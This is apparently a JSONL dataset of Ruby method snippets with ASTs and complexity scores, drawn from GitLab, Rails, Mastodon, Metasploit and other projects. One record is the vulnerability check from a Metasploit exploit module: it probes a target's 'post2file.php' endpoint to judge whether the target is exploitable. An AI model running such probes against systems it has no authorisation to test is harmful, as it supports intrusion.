{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_group_link.rb","start_line":28,"raw_source":"def human_access\n    Gitlab::Access.human_access(self.group_access)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"human_access\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"group_access\"]}]}]}","id":"2223ef09-ac2a-4b43-b24a-800e7752099d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/read_only/controller.rb","start_line":61,"raw_source":"def rack_flash\n          @rack_flash ||= ActionDispatch::Flash::FlashHash.from_session_value(\n            rack_session\n          )\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rack_flash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rack_flash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Flash\"]},\"FlashHash\"]},\"from_session_value\",{\"type\":\"send\",\"children\":[null,\"rack_session\"]}]}]}]}","id":"5babe3b1-019c-4372-bba7-b3457ae0d4ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/utils.rb","start_line":60,"raw_source":"def self.time_smb_to_unix(thi, tlo)\n    (((thi << 32) + tlo) / 10000000) - 11644473600\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"time_smb_to_unix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thi\"]},{\"type\":\"arg\",\"children\":[\"tlo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thi\"]},\"<<\",{\"type\":\"int\",\"children\":[32]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"tlo\"]}]}]},\"/\",{\"type\":\"int\",\"children\":[10000000]}]}]},\"-\",{\"type\":\"int\",\"children\":[11644473600]}]}]}","id":"227d796f-bf8d-4aed-96e7-a33e7775ce2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":285,"raw_source":"def find_user_from_job_bearer_token\n        return unless route_authentication_setting[:job_token_allowed]\n\n        self.current_token = parsed_oauth_token\n        return unless current_token\n\n        job = ::Ci::AuthJobFinder.new(token: current_token).execute\n        return unless job\n\n        @current_authenticated_job = job # rubocop:disable Gitlab/ModuleWithInstanceVariables\n\n        resolve_composite_identity_user(job.user)\n      end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user_from_job_bearer_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_authentication_setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_token_allowed\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_token=\",{\"type\":\"send\",\"children\":[null,\"parsed_oauth_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_token\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"AuthJobFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"current_token\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_authenticated_job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve_composite_identity_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"user\"]}]}]}]}","id":"9f846715-6eaa-40fb-9bcd-43f15cf0e5d8"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":587,"raw_source":"def test_html_escape_non_string; skip\n    assert_equal('4.58', Haml::Helpers.html_escape(4.58))\n    assert_equal('4.58', Haml::Helpers.html_escape_without_haml_xss(4.58))\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_escape_non_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4.58\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Helpers\"]},\"html_escape\",{\"type\":\"float\",\"children\":[4.58]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4.58\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Helpers\"]},\"html_escape_without_haml_xss\",{\"type\":\"float\",\"children\":[4.58]}]}]}]}]}","id":"f641a3e5-fb4d-4671-8b59-794f25a2d72c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/layout_test.rb","start_line":85,"raw_source":"def test_namespaced_controllers_auto_detect_layouts1\n    @controller = ControllerNameSpace::NestedController.new\n    get :hello\n    assert_equal \"controller_name_space/nested.erb hello.erb\", @response.body\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_namespaced_controllers_auto_detect_layouts1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ControllerNameSpace\"]},\"NestedController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"controller_name_space/nested.erb hello.erb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"ce699a9c-6482-4ad1-b394-9dabe995c2e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/java_deserialization/bean_factory.rb","start_line":176,"raw_source":"def new_ref(opts = {})\n        ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])\n        ref.handle = opts[:handle]\n\n        ref\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"Reference\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stream\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"handle=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"handle\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}","id":"e272122d-2f3c-4b7e-91f9-0e0abe6b2b8f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":786,"raw_source":"def test_simple_show\n    get :hello_world\n    assert_response 200\n    assert_response :success\n    assert_equal \"<html>Hello world!</html>\", @response.body\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<html>Hello world!</html>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"a6c05ca3-9168-4790-87cd-b3fcb5bdd059"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/visibility_tracker.rb","start_line":46,"raw_source":"def track_singleton_visibility(children:, visibility:, names:)\n        return if names.empty?\n\n        visibility = VISIBILITY_MAP[visibility]\n        return unless visibility\n\n        track_visibility children: children, visibility: visibility, names: names\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_singleton_visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"children\"]},{\"type\":\"kwarg\",\"children\":[\"visibility\"]},{\"type\":\"kwarg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"visibility\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VISIBILITY_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"visibility\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visibility\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"track_visibility\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"lvar\",\"children\":[\"children\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"lvar\",\"children\":[\"visibility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"names\"]},{\"type\":\"lvar\",\"children\":[\"names\"]}]}]}]}]}]}","id":"5fbb4e26-6209-4006-a259-ca02499cda73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/verify_request.rb","start_line":8,"raw_source":"def initialize(integration, chat_name, response_url = nil)\n        @integration = integration\n        @chat_name = chat_name\n        @response_url = response_url\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]},{\"type\":\"arg\",\"children\":[\"chat_name\"]},{\"type\":\"optarg\",\"children\":[\"response_url\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@integration\",{\"type\":\"lvar\",\"children\":[\"integration\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@chat_name\",{\"type\":\"lvar\",\"children\":[\"chat_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_url\",{\"type\":\"lvar\",\"children\":[\"response_url\"]}]}]}]}","id":"84efd0fa-05d6-49d2-98ed-632c8db93cb3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/uptime_file_upload_1.rb","start_line":61,"raw_source":"def check\n    uri = target_uri.path\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(uri, 'wizards', 'post2file.php')\n    })\n\n    if res and res.code == 500 and res.body.to_s =~ /<title><\\/title>/\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":15.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"wizards\"]},{\"type\":\"str\",\"children\":[\"post2file.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title></title>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"5271ddd8-65f4-4811-955c-0518a9c0fd67"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb","start_line":214,"raw_source":"def nulls_not_distinct\n          options[:nulls_not_distinct]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nulls_not_distinct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nulls_not_distinct\"]}]}]}","id":"01bc2e16-c152-4445-8650-5a12df3f8007"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/importer.rb","start_line":91,"raw_source":"def treat_invalid_people(options)\n      if aggregations.invalid_people.any? && !(options[:invalid_people_action] == \"anonymize\")\n        raise StandardError.new \"Invalid people found in import. Use valid email addresses.\"\n      end\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"treat_invalid_people\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregations\"]},\"invalid_people\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"invalid_people_action\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"anonymize\"]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Invalid people found in import. Use valid email addresses.\"]}]}]},null]}]}","id":"44c2fed1-a0ea-4e56-b168-4531eb55fd92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time_partition.rb","start_line":63,"raw_source":"def hash\n          [table, partition_name, from, to].hash\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},{\"type\":\"send\",\"children\":[null,\"partition_name\"]},{\"type\":\"send\",\"children\":[null,\"from\"]},{\"type\":\"send\",\"children\":[null,\"to\"]}]},\"hash\"]}]}","id":"5faf824a-0649-4495-89be-303ec26e1b5b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1007,"raw_source":"def test_access_to_controller_name_in_view\n    get :accessing_controller_name_in_template\n    assert_equal \"test\", @response.body # name is explicitly set in the controller.\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_access_to_controller_name_in_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"accessing_controller_name_in_template\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"704bb4fe-cdb7-41b9-9c41-c4b55e0ad121"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jira_import/issue_serializer.rb","start_line":80,"raw_source":"def label_ids\n        return if jira_issue.fields['labels'].blank?\n\n        Gitlab::JiraImport::HandleLabelsService.new(project, jira_issue.fields['labels']).execute\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"label_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_issue\"]},\"fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"labels\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"JiraImport\"]},\"HandleLabelsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_issue\"]},\"fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"labels\"]}]}]},\"execute\"]}]}]}","id":"04947092-1ae0-4208-b31c-9a2eac1c4fd8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/components/grids/widgets/subitems.rb","start_line":56,"raw_source":"def has_no_subitems?\n        displayed_subitems.empty?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_subitems?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"displayed_subitems\"]},\"empty?\"]}]}","id":"b2967cd3-c0a5-41b8-92ff-36e3f37c4a4d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/webfinger_resource.rb","start_line":34,"raw_source":"def username_from_url\n    if account_show_page?\n      path_params[:username]\n    elsif instance_actor_page?\n      Rails.configuration.x.local_domain\n    else\n      raise ActiveRecord::RecordNotFound\n    end\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"username_from_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_show_page?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_actor_page?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]}]}]}","id":"e86f34ec-ba52-4d19-a13c-6a6b203bf50a"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/dashboard_controller.rb","start_line":62,"raw_source":"def dismiss_enterprise_edition_notice\n        session[:spree_enterprise_edition_notice_dismissed] = true\n        redirect_back(fallback_location: spree.admin_dashboard_path)\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dismiss_enterprise_edition_notice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"spree_enterprise_edition_notice_dismissed\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_dashboard_path\"]}]}]}]}]}]}","id":"2f7c416b-e9bd-4d53-b583-9ba158901306"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_test.rb","start_line":35,"raw_source":"def test_fetch_cache_hit_publishes_hydration_notification\n    IdentityCache.cache.expects(:fetch).with(@blob_key, {}).returns(@cached_value)\n\n    events = 0\n    subscriber = ActiveSupport::Notifications.subscribe(\"hydration.identity_cache\") do |_, _, _, _, payload|\n      events += 1\n      assert_equal(\"Item\", payload[:class])\n    end\n    Item.fetch(1)\n    assert_equal(1, events)\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":20.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_cache_hit_publishes_hydration_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch\"]}]},\"with\",{\"type\":\"ivar\",\"children\":[\"@blob_key\"]},{\"type\":\"hash\",\"children\":[]}]},\"returns\",{\"type\":\"ivar\",\"children\":[\"@cached_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"hydration.identity_cache\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Item\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"03b47cd3-b8d4-49d0-b76d-8434de360d60"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/error.rb","start_line":19,"raw_source":"def self.destination_namespace_validation_failure(destination_namespace)\n      self.new(format(s_(\"BulkImport|Import failed. '%{destination}' is invalid, \" \\\n                         \"or you do not have permission.\"), destination: destination_namespace))\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"destination_namespace_validation_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"destination_namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BulkImport|Import failed. '%{destination}' is invalid, \"]},{\"type\":\"str\",\"children\":[\"or you do not have permission.\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"lvar\",\"children\":[\"destination_namespace\"]}]}]}]}]}]}","id":"b23f9da1-be95-4afb-ad9a-b31d496ee9eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":573,"raw_source":"def diffs(diff_options = nil)\n    fetching_repository_diffs(diff_options) do |comparison|\n      # It should fetch the repository when diffs are cleaned by the system.\n      # We don't keep these for storage overload purposes.\n      # See https://gitlab.com/gitlab-org/gitlab-foss/issues/37639\n      if comparison\n        comparison.diffs(diff_options)\n      else\n        reorder_diff_files!\n        diffs_collection(diff_options)\n      end\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"diffs\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"diff_options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetching_repository_diffs\",{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comparison\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comparison\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comparison\"]},\"diffs\",{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reorder_diff_files!\"]},{\"type\":\"send\",\"children\":[null,\"diffs_collection\",{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]}]}]}]}]}","id":"a3a903da-4ba1-426d-a296-b3984c54eda1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/schema/form_configurations/query_representer.rb","start_line":72,"raw_source":"def name\n              represented.translated_key\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"translated_key\"]}]}","id":"80f19d5c-4207-4b28-9fee-df143e8942c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/safe_zip/entry.rb","start_line":93,"raw_source":"def read_symlink\n      zip_archive.read(zip_entry)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_symlink\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zip_archive\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"zip_entry\"]}]}]}","id":"7130c12b-fea4-43ba-83ed-6f6603ae4833"}
